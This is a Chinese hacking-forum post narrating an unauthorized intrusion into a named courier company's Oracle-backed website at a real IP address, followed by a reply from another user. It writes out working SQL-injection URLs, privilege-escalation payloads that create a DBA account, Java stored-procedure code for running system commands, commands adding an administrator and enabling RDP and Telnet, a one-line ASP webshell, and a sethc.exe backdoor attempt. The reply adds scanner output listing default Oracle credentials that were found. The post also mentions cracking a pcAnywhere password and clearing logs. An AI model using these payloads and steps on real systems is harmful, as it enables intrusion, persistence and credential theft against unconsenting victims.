對著名快遞公司的一次艱難的oracle注入
文章作者:rebeyond
資訊來源:邪惡八進位制資訊保安團隊(www.eviloctal.com)
● 輕車熟路
一個對新飛鴻有意見的親密朋友找我說能不能把這個公司的網站給搞了,我一聽公司,心想,企業站都是垃圾,好搞,便痛快答應(人品真好!),呵呵,但是後來才發現沒我想像的那麼簡單。
站面如圖
asp的頁面,啊d和google掃注入點沒有,意料之中,工具誤差太大!於是旁註,結果只有這一個站,然後便邊開著流光掃伺服器邊習慣性的去站上亂逛去手工找注入點,一會的功夫出來一條連結,如圖:
習慣性的單引號,如圖
很 明顯的注入,猜測原始碼大體是這樣的:select XX from XXX where wen='雲南';而且資料庫型別為oracle,頓時來了精神,很少有這種練手的機會!估計伺服器配置肯定不錯!由於這種型別的資料庫沒什麼好的工具, 就直接來手工吧,那樣比較刺激,據我朋友說這個公司很大,網路也很大,資料庫量更是大上加大,難怪用oracle呢,所以放棄後臺提權的想法!首先用 union查詢確定欄位數和暴一些敏感資料,提交如下url:
http://211.154.103.15/server2.asp?wen=四川省' order by 20--;返回正確,說明此表字段名大於20,繼續提交http://211.154.103.15/server2.asp?wen=四川省' order by 30--;仍然返回正確,經過一些列的猜測然後提交,49返回正確,50出錯,確定欄位為49個,然後提交以下url:
http://211.154.103.15/server2.asp?wen=四川省' union select NULL,NULL,……,NULL from dual-中間省略,一共49個null, 由於union查詢需要資料型別匹配,否則出錯,所以這裡用null而不用數字可以避免型別錯誤,然後提交http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select 1,NULL,……,NULL from dual--;出錯顯示型別不匹配,換成http://211.154.103.15/server2.asp?wen=四川省'
and 1=2 union select '1',NULL,……,NULL from dual--;返回正確,說明第一個是字元型的,但是下面對應位置並沒有顯示,繼續按以上方法嘗試後面48個,當試到12和13時,下面對應位置顯示了,如圖
好了,現在我們就要用下面那兩個地方爆我們需要的東西,看下oracle版本,提交http://211.154.103.15/server2.asp?wen=四川省' and 1=2 union select '1',NULL,……,'11', (select banner from sys.v_$version where rownum=1),'13'……NULL from dual--;結果如圖
繼續提交select member from v$logfile where rownum=1獲得作業系統版本,如圖
確定是windows,下面檢視伺服器sid,提交select instance_name from v$instance,如圖
待會遠端連線要用的,下面確定下主機ip,telnet 漏洞頁上顯示的ip地址的1521埠,為oracle的埠, ,成功,1521開放,下面就本地架設個oracle客戶端,利用oracle的那些預設帳號密碼登入,嘗試n次均失敗告終,管理員安全意思不錯,表揚 下!^.^
下面就利用oracle的內建函式SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES過濾不嚴的漏 洞,至於這個函式的具體漏洞形成的原因,這裡就不佔篇幅了,想知道的可以去我部落格,對oracle不熟悉的可以跳過這一部分,繼續構造提交:
http://211.154.103.15/server2.asp?wen= 四川省 '%20and%20''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA%20AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER REBEYOND IDENTIFIED BY REBEYOND'''';END;'';END;--','SYS',0,'1',0)=''--;這裡講解下,and後面把函式求邏輯或然後與空比 較,這樣系統會先求函式值,便會執行我們構造在函式裡的語句,這樣就往資料庫加了個使用者名稱為rebeyond密碼為rebeyond的使用者,然後執行http://211.154.103.15/server2.asp?wen= 四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant sysdba to rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--便把我們建的使用者加為dba許可權,下面賦予使用者遠端連 接許可權,提交http://211.154.103.15/server2.asp?wen= 四川省' and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO rebeyond'''';END;'';END;--','SYS',0,'1',0)=''--,好了,下面遠端連線!
● 峰迴路轉
本以為建了dba許可權的使用者,遠端連線繼續拿許可權就完了,但是當我以dba身份登入時卻出現這個,如圖:
百度了下才知道是伺服器那邊配置的問題,由於是伺服器端的問題,一時不好解決,就暫時先用normal方式登入,連線成功,進去去許可權設定那把許可權能勾的都勾上,如圖:
因為我們畢竟是dba許可權的,雖然沒以dba方式登入,但是除了開關資料庫,其他許可權還是都有的,然後就是想辦法提權拿伺服器,雖然oracle不支援 xp_cmdshell直接執行系統命令,但是對pl\sql的支援是非常另人激動的,因為可以通過建立java儲存過程來執行命令,注意這時建完 shell後要對資料庫使用者賦予對磁碟檔案操作的許可權(在sqlplus裡執行):
call dbms_java.grant_permission('REBEYOND','java.io.FilePermission','c:/a.txt','read,write'); 。 cmd開啟sqlplus(和oracle客戶端一起安裝的),輸入sqlplus /nolog,然後輸入connect [email=rebeyond/[email protected](description=(address_list=(address= (protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data= (SERVICE_NAME=ORCL]rebeyond/[email protected](description=(address_list= (address=(protocol=tcp)(host=211.154.103.15)(port=1521)))(connect_data= (SERVICE_NAME=ORCL[/email])));是不是用到了我們前面爆出的伺服器sid呢,hoho,連線成功,下面開始執行命令,建立 java儲存過程,程式碼如下:
java儲存過程:
第一步:
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
第二步:
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
第三步:
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
建立完之後,就可以通過x := RUN_CMz(dos命令)來執行系統命令了。
建 完儲存過程後系統命令執行成功, 如圖
但是後來發現這個shell很不爽,如果遇到需要互動的命令就會卡死,剛開始想用"ftp 我的ip地址"檢測下能不能執行,結果卡死,我這邊防火牆也沒反應,不解,後tasklist,發現ftp.exe, 確定對方不能連線外網,可能有防火牆或作了設定,於是用ftp傳馬思路拋棄,打個systeninfo命令看下系統,是2003,於是打算先建個超級使用者 然後開3389,執行exec :x := RUN_CMD('net user')結果卡死,猜測net被刪,執行exec :x := RUN_CMD('net1 user');成功,執行exec :x := RUN_CMD('net1 user rebeyond rebeyond /add&net1 localgroup administrators rebeyond /add');成功,下面用reg命令讀下3389的狀態和埠,執行exec :x := RUN_CMD('reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"');發現fDenyTSconnections值為1,說明3389關閉,於是依次執行以下語句開3389:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
因為cmd一互動就卡死,所以加了個/f強行引數,搞定後執行mstsc連線,結果另人吐血,能連上但是卻沒有登入視窗,提示說什麼" awgina.dll被替換成未知版本",猜測可能把3389用到的dll給刪除了,因為雖然不能登入但可以連線,於是想到了替換sethc.exe,在 shell下依次執行:
exec :x :=RUN_CMD ('del c:\windows\system32\sethc.exe /f')
exec :x :=RUN_CMD('del C:\WINDOWS\system32\dllcache\sethc.exe /f')
exec :x :=RUN_CMD('copy c:\windows\explorer.exe c:\windows\system32\sethc.exe'),
按五次shift後發現沒替換成功,也沒刪除成功,推斷原因只有一個,就是沒許可權,但是我在前面用java建shell前專門賦予了許可權的,不解,百度一 番!發現賦予檔案操作許可權必須得以dba的方式登入,但是前面說了我們無法以dba方式登入,頓時大腦一片空白,沒有寫和刪除許可權,只有執行許可權,思路一 下少了很多,繼續!!忽然想到了telnet,用reg查看了下telnet服務的狀態為禁用,於是執行reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSvr" /v Start /t REG_DWORD /d 2 /f把telnet服務設定為自動,然後就是想辦法讓伺服器重啟開telnet。
●柳暗花明:
shell裡執行rundll32.exe user.exe,restartwindows,不一會主機重啟了,成功telnet,這樣許可權我們已經拿到了!但是要向影象介面進軍,在telnet 執行netstat -an看了下埠,發現5632,熟悉提權的人應該很熟悉,這是pcanywhere的預設埠,但是怎麼才能知道pcanywhere的密碼呢?因為不 能連線外網,所以直接傳cif檔案是不可能的,於是想到了webshell!在telnet裡找到站的 目錄d:\site,執行echo "<%eval(request("#"))%>" >d:\site\guestboook.asp,訪問成功,然後用海洋一句話提交大馬成功如圖:
跳轉到pcanywhere的cif檔案目錄下載cif檔案並破解,成功得到pcanywhere的密碼,如圖:
到這基本就結束了,但是pcanywhere遠端很不爽,於是還是想開用3389,於是百度搜索原因,發現是3389和pcanywhere衝突的原因 並找到了解決辦法,刪除某個登錄檔項就搞定了,在pcanywhere操作就很簡單了,搞定後重啟伺服器,連線對方3389,終於看到了熟悉的登入介面, 用前面建的使用者成功登入!如圖:
至此整個入侵過程宣告結束!清了下日誌修補了下漏洞!閃人!睡覺!
--2008.4.13 by rebeyond
下面qiaolin的回帖:
首先佩服下LZ的實力,鄙人也從未露面過,但是對於ORACLE的入侵,也忍不住插幾句。
以下說下鄙人的入侵方式:
埠掃描:
21、80、1521、3389、5631
從80的,LZ已經做過了,也就不重複了。喜歡直接搞1521。
首先掃描ORACLE,SID和弱口令:
[-] Checking host 211.154.103.15
[-] Checking sid (orcl) for common passwords
[-] Account CTXSYS/CTXSYS is locked
[-] Account DBSNMP/DBSNMP found
[-] Enumerating system accounts for SID (orcl)
[-] Succesfully enumerated 34 accounts
[-] Account MDSYS/MDSYS is locked
[-] Account OE/OE is locked
[-] Account OLAPSYS/MANAGER is locked
[-] Account ORDPLUGINS/ORDPLUGINS is locked
[-] Account ORDSYS/ORDSYS is locked
[-] Account OUTLN/OUTLN is locked
[-] Account PM/PM is locked
[-] Account QS_ADM/QS_ADM is locked
[-] Account QS_CB/QS_CB is locked
[-] Account QS_CBADM/QS_CBADM is locked
[-] Account QS_CS/QS_CS is locked
[-] Account QS_ES/QS_ES is locked
[-] Account QS_OS/QS_OS is locked
[-] Account QS_WS/QS_WS is locked
[-] Account RMAN/RMAN is locked
[-] Account SCOTT/TIGER found
[-] Account SH/SH is locked
[-] Account WKSYS/WKSYS is locked
[-] Checking user supplied passwords against sid (orcl)
[-] Checking user supplied dictionary
[-] Account WMSYS/WMSYS is locked
[-] Account XDB/XDB is locked
[-] Account WKPROXY/WKPROXY is locked
[-] Account ODM/ODM is locked
[-] Account ODM_MTR/ODM_MTR is locked
[-] Account OEM_LI-OWC0EIN1THV8_ORCL/ORACLE found
[-] Account E3DATA/ORACLE found
[-] Account TRANSFER_USER/TRANSFER_USER found
[-] Account REBEYOND/REBEYOND found
[-] Querying database for version information
其實DBSNMP 弱口令已經夠用了,注入提權成DBA也一樣。SID:orcl,不過還是僥倖看下是否有SYS弱口令:
C:\oracle>oracle.exe -quiet dbsnmp/[email protected]:1521/orcl password_file.txt
DBSNMP has weak password DBSNMP [OPEN]
SCOTT has weak password TIGER [OPEN]
OEM_LI-OWC0EIN1THV8_ORCL has weak password ORACLE [OPEN]
REBEYOND has weak password REBEYOND [OPEN]
TRANSFER_USER has weak password TRANSFER_USER [OPEN]
E3DATA has weak password ORACLE [OPEN]
測試了下REBEYOND的許可權,發現有DBA許可權(LZ留的),喜歡SYS去搞(誰讓SYS是最強大的呢),改了SYS的密碼, SQLPLUS連線上,通過JAVA介面提權(未測試),3389登陸。(3389也是LZ開的,不過通常沒開3389,比較喜歡直接用FTP命令下木馬)
C:\oracle_checkpwd_big>sqlplus sys/******@//211.154.103.15:1521/orcl as sysdba
SQL*Plus: Release 10.2.0.1.0 - Production on 星期三 6月 11 10:24:03 2008
Copyright (c) 1982, 2005, Oracle. All rights reserved.
連線到:
Oracle9i Enterprise Edition Release 9.2.0.7.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.7.0 - Production
SQL>
相關推薦
對著名快遞公司的一次艱難的oracle注入
文章作者:rebeyond 資訊來源:邪惡八進位制資訊保安團隊(www.eviloctal.com) ● 輕車熟路 一個對新飛鴻有意見的親密朋友找我說能不能把這個公司的網站給搞了,我一聽公司,心想,企業站都是垃圾,好搞,便痛快答應(人品真好!),呵呵,但是後來才發現沒我想像
一次艱難debug的反思
處的 sce 種類 分析 ef6 結果 出現 用例 時間 已經很久沒有遇到如此頑固的bug了,總共耗費了我近1個禮拜的時間。期間的種種沖突,個人崩潰,最終解決方案的形成,到回過頭來的反思,實在有太多值得梳理的東西。 從結果上來講,這是個人js基礎極端薄弱的集中體現,是
對眾多知名公司造成影響的Oracle Responsys本地檔案包含漏洞
今天我要向大家展示的是,我如何發現了Oracle Responsys雲服務系統中的一個本地檔案包含漏洞(LFI)。由於當前很多商業銷售、網路儲存和社交關係公司都採用了Oracle Responsys的雲解決方案,所以,該漏洞對多個知名公司服務造成影響,這些公司包括Facebook、Linkedin、
記一次解決oracle sql效能瓶頸的問題
先上sql: SELECT (SELECT M.ALBUM_ID FROM ALBUM_R_MUSIC AM,ALBUM M WHERE AM.MUSIC_ID = M.MUSIC_ID AND AM.ALBUM_ID = M.ALBUM_
yield對效能提升的一次小小測試
生成器提供了一種更容易的方法來實現簡單的物件迭代,相比較定義類實現 Iterator 介面的方式,效能開銷和複雜性大大降低。生成器允許你在 foreach 程式碼塊中寫程式碼來迭代一組資料而不需要在記憶體中建立一個數組, 那會使你的記憶體達到上限,或者會佔據可觀的處理時間。相反,你可以寫一個生成器函式,
對某網站的一次掃描及***測試
1.1對某網站的一次*** 1.1.1後臺人弱口令登陸系統 1.登入CMS後臺 由於前期已經對目標網站進行過摸排,獲取了目標網站類似演示系統的測試賬號admin/123456,因此直接在目標網站http://c*****.t*****.com/m.php進行登入,如圖1所示
【MongoDb】一次關於Oracle和MongoDb的插入和查詢效能測試
本次實驗是在筆者上學期期末一次課程實習中的一部分,現在整理出來以供參考。 本次資料用的是不同數量級別上的資料分別在Oracle和MongoDb中進行實驗的。 其中兩者的表結構一樣,都是如下欄位:
FastJson格式化Request對象導致的一次異常思考
except cal 異常 sas started sta neu tee 最簡 p.p1 { margin: 0.0px 0.0px 0.0px 0.0px; line-height: 19.0px; font: 13.0px "Helvetica Neue"; colo
記一次Mybatis+Oracle, 資料多且日期間隔大時, 查詢非常慢解決過程
前兩天發現一個sql在專案執行時查詢時間的很長, 但sql在PLSql中查詢時只要1s左右, 以下是原sql:SELECT MAX(data) DATA_VALUE FROM ( SELECT A.FREEZE_TIME, SUM(A.AP * T2.add_att
又一次發現Oracle太美之awr相關腳本簡介
rac number .cn oracl popu ber undefine sql comment 又一次發現Oracle太美之awr相關腳本簡介
資源授權?對OAuth2.0的一次重新認識的過程
什麼是OAuth? OAuth一個開放的授權標準,允許使用者在不提供關鍵資訊(如賬號,密碼)給第三方應用的前提下,讓第三方應用去訪問使用者在某網站上的資源(如頭像,使用者暱稱等)。 OAuth分為OAuth1.0和OAuth2.0兩個版本,後來隨著OAuth2.0被使用的越來越廣泛,OAuth1.0逐漸退出舞
記一次mssql手工注入
記一次mssql手工注入 記錄一次mssql注入的過程,很多都是久的知識,大家當溫故而知新吧。 xxxx/xxx?nIDX=122‘ 注入報錯,直接sqlmap跑,但有waf攔截; 只能進行fuzz了,發現select 和 from之間用/**/就可以繞過。 (1)首先檢視
記一次對java對象在內存中的分析
數據 ots 字節對齊 位數 數據位 64位 數組 內存大小 特殊 java 對象 占內存大小 計算方式 及 常用類型的占用 HotSpot的對齊方式為8字節對齊 ----計算公式:(對象頭 + 實例數據 + padding) % 8等於0且0 <= padding
一次對真實網站的SQL註入———SQLmap使用
md5 password blog 發生 為我 www mysql 賬戶 9.png 網上有許多手工註入SQL的例子和語句,非常值得我們學習,手工註入能讓我們更加理解網站和數據庫的關系,也能明白為什麽利用註入語句能發現網站漏洞。 因為我是新手,註入語句還不太熟悉,我這次是手
Android對apk源代碼的改動--反編譯+源代碼改動+又一次打包+簽名【附HelloWorld的改動實例】
str 技術 命令行 文章 color 不同的 pop ogl 方法 最近遇到了須要改動apk源代碼的問題,於是上網查了下相關資料。編寫了HelloWorld進行改動看看可行性,經過實驗證明此方案可行,而且後來也成功用這種方法對目標apk進行了改動,僅僅只是
對VAuditDemo的一次審計
blog 數組 _for string int real 入口 pass 道理 拿到代碼,首先先觀察index.php入口文件。 1 <?php 2 require_once(‘sys/config.php‘); 3 require_once(‘header
對雙色球結果預測的一次無聊的嘗試
name int sin 使用 unpack atp shuffle sta edge 今天晚上突然腦子不知怎麽的,本來正在人工給12306驗證碼做打標工作,突然想看看雙色球每期的開獎結果是否有規律 從這裏下載從03年到今年的每期雙色球開獎結果 用t-SNE降維到3維打
ORACLE sql調優之記錄一次trim函數引發的大表全表掃描
oracle trim 全表掃描 sql 調優 2017年8月14日,一地市oracle相關的調度程序ETL抽取速度奇慢,sql語句每次執行平均時間要9秒左右,如果所示:該調度過程涉及的sql語句如下:select count(*) from (SELECT rtrim(
記錄一次Oracle VirtualBox 下 Centos 6.5 VM 磁盤擴容
vm磁盤擴容Oracle VirtualBox 創建的 Centos 6.5 VM 默認硬盤大小是8個G(未手工調整),現使用100%,需要擴容。[root@kaola ~]# df -hFilesystem Size Used Avail Use% Mounted o
一次CTF後對二維碼的認識
inf body 讀取 轉化 ctf比賽 二維碼 png 一段 定位 前一段時間參加一個CTF比賽的時候其中有一個題目就是一張二維碼圖片,然後獲取其中的信息來解題,那個二維碼的特別之處在於,它把3個位置探測區域用幾張美女圖片代替了,然後在做題的時候順便簡單的了解了一下二